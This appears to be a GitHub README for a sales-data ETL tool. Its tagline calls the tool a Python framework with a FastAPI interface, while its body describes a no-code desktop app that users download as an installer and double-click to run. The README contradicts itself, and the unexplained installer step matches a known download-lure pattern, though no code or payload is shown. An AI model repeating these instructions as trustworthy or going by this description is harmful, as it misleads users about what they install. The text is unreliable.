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πŸ“Š Transform and analyze sales data with this Python ETL framework, leveraging Pandas/NumPy and exposing KPIs via a FastAPI interface.

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πŸš€ ETL - Simplify Your Data Processing Tasks

🌟 Overview

Welcome to ETL, a Sales ETL tool built in Python using Pandas and NumPy. This software helps you transform and manage sales data easily, turning complex processes into a simple workflow. No programming knowledge is necessaryβ€”just follow our steps, and you will be processing data in no time.

πŸ“₯ Download ETL

Download ETL

πŸš€ Getting Started

System Requirements

To run ETL, you need:

  • A computer with Windows, macOS, or Linux.
  • At least 4 GB of RAM.
  • An internet connection for updates.

Installation Steps

  1. Visit the releases page. Click on this link: Download ETL to go to the Releases page.
  2. Select the latest version. Look for the most recent version available. You will see it listed at the top of the page.
  3. Choose your file type. Depending on your system (Windows, macOS, or Linux), download the appropriate file. Click on the file to start downloading.
  4. Run the installer. Once downloaded, locate the file in your Downloads folder. Double-click it to run the installer. Follow the prompts to complete the installation.
  5. Launch ETL. After installation, you can find ETL in your applications list. Open it to start using the tool.

πŸŽ“ How to Use ETL

Importing Data

  1. Click on the "Import Data" button within the application.
  2. Select your sales data file in CSV or Excel format.
  3. The system will load your data for processing.

Transforming Data

  1. Use the intuitive interface to apply transformations.
  2. Choose from options like filtering, sorting, and aggregating your data.
  3. Preview your changes before applying them.

Exporting Results

  1. Once you’ve made your changes, look for the "Export" option.
  2. Choose your desired format (e.g., CSV, Parquet).
  3. Click "Export" to save your transformed data.

πŸ“– Features

  • User-Friendly Interface: No technical skills needed; everything is straightforward.
  • Data Transformation: Easily filter, sort, and aggregate your data.
  • Multiple Export Formats: Save your processed data in CSV or Parquet formats for easy sharing.
  • Integration with APIs: Pull and push data via REST APIs seamlessly.

πŸ’‘ Troubleshooting

  • Issue: App won't launch.

    • Solution: Ensure your system meets the requirements. If problems persist, try reinstalling the application.
  • Issue: Data not loading correctly.

    • Solution: Check that your file format is correct (CSV or Excel) and that it is not corrupt.
  • Issue: Installation errors.

    • Solution: Close other applications and try running the installer again. Make sure you have sufficient permissions.

πŸ› οΈ Support and Resources

For more information, please visit the Documentation. You can find guides, FAQs, and list of common issues.

πŸ“œ License

This project is licensed under the MIT License. You are free to use it, modify it, and distribute it as long as you include the original license with your distribution.

For further information, feel free to reach out on our GitHub page or through the Issues section. Happy data processing!

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πŸ“Š Transform and analyze sales data with this Python ETL framework, leveraging Pandas/NumPy and exposing KPIs via a FastAPI interface.

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